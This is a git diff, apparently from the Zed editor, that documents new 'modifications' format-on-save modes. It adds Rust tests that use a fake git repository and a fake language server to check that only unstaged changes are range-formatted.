 crates/project/src/lsp_store.rs               |   57 +-
 crates/settings/src/settings_store.rs         |  142 +++
 crates/settings/src/vscode_import.rs          |   12 +-
 crates/settings_content/src/language.rs       |   12 +-
 crates/settings_ui/src/page_data.rs           |    2 +-
 docs/src/reference/all-settings.md            |   24 +-
 10 files changed, 1507 insertions(+), 34 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 983784e89517e8..0e42d27e980342 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1458,7 +1458,13 @@
   // The EditorConfig `end_of_line` property overrides this setting and behaves
   // like `enforce_lf` or `enforce_crlf`.
   "line_ending": "detect",
-  // Whether or not to perform a buffer format before saving: [on, off]
+  // Whether or not to perform a buffer format before saving:
+  //   "on" — format the whole buffer
+  //   "off" — do not format
+  //   "modifications" — format only lines with unstaged changes; skips formatting
+  //     when no git diff is available or the language server lacks range formatting
+  //   "modifications_if_available" — same, but falls back to formatting the whole
+  //     buffer when range formatting cannot be used
   // Keep in mind, if the autosave with delay is enabled, format_on_save will be ignored
   "format_on_save": "off",
   // How to perform a buffer format. This setting can take multiple values:
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index ca5cc9a6a2fda3..9b78a9a5c0cdf4 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -29,7 +29,8 @@ use language::{
     LanguageConfig, LanguageConfigOverride, LanguageMatcher, LanguageName, LanguageQueries,
     LanguageToolchainStore, Override, Point,
     language_settings::{
-        CompletionSettingsContent, FormatterList, LanguageSettingsContent, LspInsertMode,
+        CompletionSettingsContent, FormatOnSave, FormatterList, LanguageSettingsContent,
+        LspInsertMode,
     },
     tree_sitter_python,
 };
@@ -15171,6 +15172,89 @@ async fn setup_range_format_test(
     .await
 }
 
+/// Like `setup_range_format_test`, but backs the buffer with a FakeFs git
+/// repository so that `GitStore::get_unstaged_diff` returns a real diff.
+/// `head_content` sets the HEAD base, `index_content` sets the staged base.
+/// The buffer starts empty; the caller must `editor.set_text(...)` to set the
+/// working-tree content (the diff recomputes from buffer changes).
+async fn setup_range_format_test_with_git<'a>(
+    cx: &'a mut TestAppContext,
+    head_content: &str,
+    index_content: &str,
+) -> (
+    Entity<Project>,
+    Entity<Editor>,
+    &'a mut gpui::VisualTestContext,
+    lsp::FakeLanguageServer,
+) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+            ".git": {},
+            "file.rs": "",
+        }),
+    )
+    .await;
+
+    fs.set_head_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+        "deadbeef",
+    );
+    fs.set_index_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", index_content.to_string())],
+    );
+
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_range_formatting_provider: Some(lsp::OneOf::Left(true)),
+                document_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/project/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    // Open the unstaged diff so GitStore tracks this buffer. Without this,
+    // `get_unstaged_diff` returns None and compute_format_target cannot
+    // produce range-based FormatTarget.
+    project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        window.focus(&editor.focus_handle(cx), cx);
+    });
+
+    let fake_server = fake_servers.next().await.unwrap();
+
+    (project, editor, cx, fake_server)
+}
+
 fn refresh_editor_actions(cx: &mut VisualTestContext) {
     cx.executor().run_until_parked();
     cx.update(|window, cx| {
@@ -15383,6 +15467,940 @@ async fn test_range_format_on_save_timeout(cx: &mut TestAppContext) {
     assert!(!cx.read(|cx| editor.is_dirty(cx)));
 }
 
+#[gpui::test]
+async fn test_modifications_format_on_save(cx: &mut TestAppContext) {
+    let (project, editor, cx, fake_server) = setup_range_format_test_with_git(cx, "", "").await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("one\ntwo\nthree\n", window, cx)
+    });
+    cx.run_until_parked();
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |params, _| async move {
+            assert_eq!(
+                params.text_document.uri,
+                lsp::Uri::from_file_path(path!("/project/file.rs")).unwrap()
+            );
+            Ok(Some(vec![lsp::TextEdit::new(
+                lsp::Range::new(lsp::Position::new(0, 3), lsp::Position::new(1, 0)),
+                ", ".to_string(),
+            )]))
+        })
+        .next()
+        .await;
+    save.await;
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "one, two\nthree\n"
+    );
+    assert!(!cx.read(|cx| editor.is_dirty(cx)));
+}
+
+#[gpui::test]
+async fn test_modifications_format_skips_without_git_diff(cx: &mut TestAppContext) {
+    let (project, editor, cx, fake_server) = setup_range_format_test(cx).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("one\ntwo\nthree\n", window, cx)
+    });
+    assert!(
+        cx.read(|cx| editor.is_dirty(cx)),
+        "editor should be dirty before save"
+    );
+
+    let _no_range_format_handler = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("rangeFormatting must not be called when no git diff is available");
+        })
+        .next();
+    let _no_format_handler = fake_server
+        .set_request_handler::<lsp::request::Formatting, _, _>(move |_, _| async move {
+            panic!("full formatting must not be called for Modifications without a git diff");
+        })
+        .next();
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+    cx.run_until_parked();
+    assert!(
+        !cx.read(|cx| editor.is_dirty(cx)),
+        "the buffer should be saved despite the skipped formatting"
+    );
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "one\ntwo\nthree\n"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_lsp_no_range_support(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+            ".git": {},
+            "file.rs": "",
+        }),
+    )
+    .await;
+
+    let head_content = "one\ntwo\nthree\n";
+    fs.set_head_and_index_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+    );
+
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_range_formatting_provider: Some(lsp::OneOf::Left(false)),
+                document_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/project/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+    project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+
+    let fake_server = fake_servers.next().await.unwrap();
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("one\nTWO\nthree\n", window, cx)
+    });
+    cx.run_until_parked();
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let _no_range_format_handler = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("rangeFormatting must not be called when range formatting is unsupported");
+        })
+        .next();
+    let _no_format_handler = fake_server
+        .set_request_handler::<lsp::request::Formatting, _, _>(move |_, _| async move {
+            panic!("full formatting must not be called for Modifications when range formatting is unsupported");
+        })
+        .next();
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+    cx.run_until_parked();
+    assert!(!cx.read(|cx| editor.is_dirty(cx)));
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "one\nTWO\nthree\n"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_lsp_returns_empty_edits(cx: &mut TestAppContext) {
+    let (project, editor, cx, fake_server) = setup_range_format_test_with_git(cx, "", "").await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("aaa\nbbb\nccc\nddd\neee\n", window, cx)
+    });
+    cx.run_until_parked();
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |params, _| async move {
+            assert_eq!(
+                params.text_document.uri,
+                lsp::Uri::from_file_path(path!("/project/file.rs")).unwrap()
+            );
+            Ok(Some(Vec::new()))
+        })
+        .next()
+        .await;
+    save.await;
+    assert!(!cx.read(|cx| editor.is_dirty(cx)));
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "aaa\nbbb\nccc\nddd\neee\n"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_multiple_hunks(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\nline3\nline4\nline5\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, head_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("line0\nLINE1\nline2\nline3\nLINE4\nline5\n", window, cx);
+    });
+    cx.run_until_parked();
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let request_count = Arc::new(AtomicUsize::new(0));
+    let request_count_clone = request_count.clone();
+    let mut responded_rx =
+        fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(move |params, _| {
+            let count = request_count_clone.fetch_add(1, atomic::Ordering::SeqCst);
+            async move {
+                assert_eq!(
+                    params.text_document.uri,
+                    lsp::Uri::from_file_path(path!("/project/file.rs")).unwrap()
+                );
+                match count {
+                    0 => Ok(Some(vec![lsp::TextEdit::new(
+                        lsp::Range::new(lsp::Position::new(1, 5), lsp::Position::new(1, 5)),
+                        "!".to_string(),
+                    )])),
+                    1 => Ok(Some(vec![lsp::TextEdit::new(
+                        lsp::Range::new(lsp::Position::new(4, 5), lsp::Position::new(4, 5)),
+                        "!".to_string(),
+                    )])),
+                    _ => panic!("unexpected third range formatting request"),
+                }
+            }
+        });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    responded_rx.next().await;
+    save.await;
+
+    assert_eq!(request_count.load(atomic::Ordering::SeqCst), 2);
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "line0\nLINE1!\nline2\nline3\nLINE4!\nline5\n"
+    );
+    assert!(!cx.read(|cx| editor.is_dirty(cx)));
+}
+
+#[gpui::test]
+async fn test_modifications_format_excludes_staged_changes(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\nline3\nline4\n";
+    let staged_content = "line0\nLINE1\nline2\nline3\nline4\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, staged_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    let working_content = "line0\nLINE1\nline2\nline3\nLINE4\n";
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(working_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let request_count = Arc::new(AtomicUsize::new(0));
+    let request_count_clone = request_count.clone();
+    let mut responded_rx =
+        fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(move |params, _| {
+            request_count_clone.fetch_add(1, atomic::Ordering::SeqCst);
+            assert_eq!(
+                params.range.start.line, 4,
+                "only the unstaged hunk (LINE4) should be formatted"
+            );
+            async move { Ok(Some(Vec::new())) }
+        });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    save.await;
+
+    assert_eq!(
+        request_count.load(atomic::Ordering::SeqCst),
+        1,
+        "staged hunk (LINE1) must not be formatted, only the unstaged hunk (LINE4)"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_range_excludes_staged_hunk(cx: &mut TestAppContext) {
+    let head_content = "a\nb\nc\n";
+    let staged_content = "A\nb\nc\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, staged_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("A\nB\nc\n", window, cx)
+    });
+    cx.run_until_parked();
+
+    let captured_start_line = Arc::new(AtomicUsize::new(usize::MAX));
+    let captured_start_line_clone = captured_start_line.clone();
+    let mut responded_rx =
+        fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(move |params, _| {
+            captured_start_line_clone
+                .store(params.range.start.line as usize, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    save.await;
+
+    let start_line = captured_start_line.load(atomic::Ordering::SeqCst);
+    assert_ne!(
+        start_line,
+        usize::MAX,
+        "expected at least one range formatting request"
+    );
+    assert_eq!(
+        start_line, 1,
+        "format range must exclude the staged row and start at the unstaged row"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_pure_unstaged_with_git(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\nline3\nline4\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, head_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    let working_content = "line0\nLINE1\nline2\nline3\nLINE4\n";
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(working_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let request_count = Arc::new(AtomicUsize::new(0));
+    let request_count_clone = request_count.clone();
+    let mut responded_rx = fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(
+        move |_params, _| {
+            request_count_clone.fetch_add(1, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        },
+    );
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    responded_rx.next().await;
+    save.await;
+
+    assert_eq!(
+        request_count.load(atomic::Ordering::SeqCst),
+        2,
+        "unstaged hunks (LINE1, LINE4) must be formatted via the git diff path"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_no_unstaged_changes_with_git(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\nline3\nline4\n";
+    let staged_content = "line0\nLINE1\nline2\nline3\nLINE4\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, staged_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(staged_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let _no_format_handler = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("range formatting must not be called when all changes are staged");
+        })
+        .next();
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+    cx.run_until_parked();
+}
+
+#[gpui::test]
+async fn test_modifications_format_no_changes_with_git(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, head_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(head_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let _no_format_handler = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("range formatting must not be called when buffer matches HEAD");
+        })
+        .next();
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+    cx.run_until_parked();
+}
+
+#[gpui::test]
+async fn test_modifications_format_crlf_line_endings(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+            ".git": {},
+            "file.rs": "line0\r\nline1\r\nline2\r\nline3\r\nline4\r\n",
+        }),
+    )
+    .await;
+
+    let head_content = "line0\nline1\nline2\nline3\nline4\n";
+    fs.set_head_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+        "deadbeef",
+    );
+    fs.set_index_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+    );
+
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_range_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/project/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    buffer.read_with(cx, |buffer, _| {
+        assert_eq!(
+            buffer.line_ending(),
+            language::LineEnding::Windows,
+            "buffer should detect CRLF line endings from the working tree file"
+        );
+    });
+
+    project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        window.focus(&editor.focus_handle(cx), cx);
+    });
+
+    let fake_server = fake_servers.next().await.unwrap();
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("line0\nLINE1\nline2\nline3\nLINE4\n", window, cx)
+    });
+    cx.run_until_parked();
+
+    let request_count = Arc::new(AtomicUsize::new(0));
+    let request_count_clone = request_count.clone();
+    let mut responded_rx = fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(
+        move |_params, _| {
+            request_count_clone.fetch_add(1, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        },
+    );
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    responded_rx.next().await;
+    save.await;
+
+    assert_eq!(
+        request_count.load(atomic::Ordering::SeqCst),
+        2,
+        "CRLF line endings must not cause spurious diff hunks"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_format_merge_boundary_one_row_gap(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\nline3\nline4\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, head_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::Modifications);
+    });
+
+    let working_content = "line0\nLINE1\nline2\nLINE3\nline4\n";
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(working_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let request_count = Arc::new(AtomicUsize::new(0));
+    let request_count_clone = request_count.clone();
+    let mut responded_rx = fake_server.set_request_handler::<lsp::request::RangeFormatting, _, _>(
+        move |_params, _| {
+            request_count_clone.fetch_add(1, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        },
+    );
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    responded_rx.next().await;
+    responded_rx.next().await;
+    save.await;
+
+    assert_eq!(
+        request_count.load(atomic::Ordering::SeqCst),
+        2,
+        "hunks separated by exactly one unchanged row must not merge"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_if_available_empty_diff_skips_formatting(cx: &mut TestAppContext) {
+    let head_content = "line0\nline1\nline2\n";
+    let (project, editor, cx, fake_server) =
+        setup_range_format_test_with_git(cx, head_content, head_content).await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::ModificationsIfAvailable);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text(head_content, window, cx)
+    });
+    cx.run_until_parked();
+
+    let _no_range_format = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("range formatting must not be called when diff is empty");
+        })
+        .next();
+    let _no_format = fake_server
+        .set_request_handler::<lsp::request::Formatting, _, _>(move |_, _| async move {
+            panic!("full formatting must not be called when a diff is available but empty");
+        })
+        .next();
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+    cx.run_until_parked();
+    assert!(
+        !cx.read(|cx| editor.is_dirty(cx)),
+        "the buffer should be saved despite the skipped formatting"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_if_available_no_git_falls_back_to_full_format(cx: &mut TestAppContext) {
+    let (project, editor, cx, fake_server) = setup_range_format_test_with_capabilities(
+        cx,
+        lsp::ServerCapabilities {
+            document_range_formatting_provider: Some(lsp::OneOf::Left(true)),
+            document_formatting_provider: Some(lsp::OneOf::Left(true)),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::ModificationsIfAvailable);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("one\ntwo\nthree\n", window, cx)
+    });
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let _no_range_format = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("range formatting must not be called when no git diff is available");
+        })
+        .next();
+
+    let formatting_called = Arc::new(AtomicBool::new(false));
+    let formatting_called_clone = formatting_called.clone();
+    let mut formatting_rx =
+        fake_server.set_request_handler::<lsp::request::Formatting, _, _>(move |_, _| {
+            formatting_called_clone.store(true, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    formatting_rx.next().await;
+    save.await;
+
+    assert!(
+        formatting_called.load(atomic::Ordering::SeqCst),
+        "ModificationsIfAvailable must fall back to full-buffer formatting when no git diff is available"
+    );
+}
+
+#[gpui::test]
+async fn test_modifications_if_available_lsp_no_range_support_falls_back_to_full_format(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+            ".git": {},
+            "file.rs": "",
+        }),
+    )
+    .await;
+
+    let head_content = "line0\nline1\nline2\n";
+    fs.set_head_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+        "deadbeef",
+    );
+    fs.set_index_for_repo(
+        std::path::Path::new(path!("/project/.git")),
+        &[("file.rs", head_content.to_string())],
+    );
+
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_range_formatting_provider: Some(lsp::OneOf::Left(false)),
+                document_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/project/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+    project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        window.focus(&editor.focus_handle(cx), cx);
+    });
+
+    let fake_server = fake_servers.next().await.unwrap();
+
+    update_test_language_settings(cx, &|settings| {
+        settings.defaults.format_on_save = Some(FormatOnSave::ModificationsIfAvailable);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("line0\nLINE1\nline2\n", window, cx);
+    });
+    cx.run_until_parked();
+    assert!(cx.read(|cx| editor.is_dirty(cx)));
+
+    let _no_range_format = fake_server
+        .set_request_handler::<lsp::request::RangeFormatting, _, _>(move |_, _| async move {
+            panic!("rangeFormatting must not be called when LSP lacks range support");
+        })
+        .next();
+
+    let formatting_called = Arc::new(AtomicBool::new(false));
+    let formatting_called_clone = formatting_called.clone();
+    let mut formatting_rx =
+        fake_server.set_request_handler::<lsp::request::Formatting, _, _>(move |_, _| {
+            formatting_called_clone.store(true, atomic::Ordering::SeqCst);
+            async move { Ok(Some(Vec::new())) }
+        });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    autosave: false,
+                    force_format: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    formatting_rx.next().await;
+    save.await;
+
+    assert!(
+        formatting_called.load(atomic::Ordering::SeqCst),
+        "ModificationsIfAvailable must fall back to full-file formatting when the LSP lacks range support"
+    );
+}
+
 #[gpui::test]
 async fn test_range_format_not_called_for_clean_buffer(cx: &mut TestAppContext) {
     let (project, editor, cx, fake_server) = setup_range_format_test(cx).await;
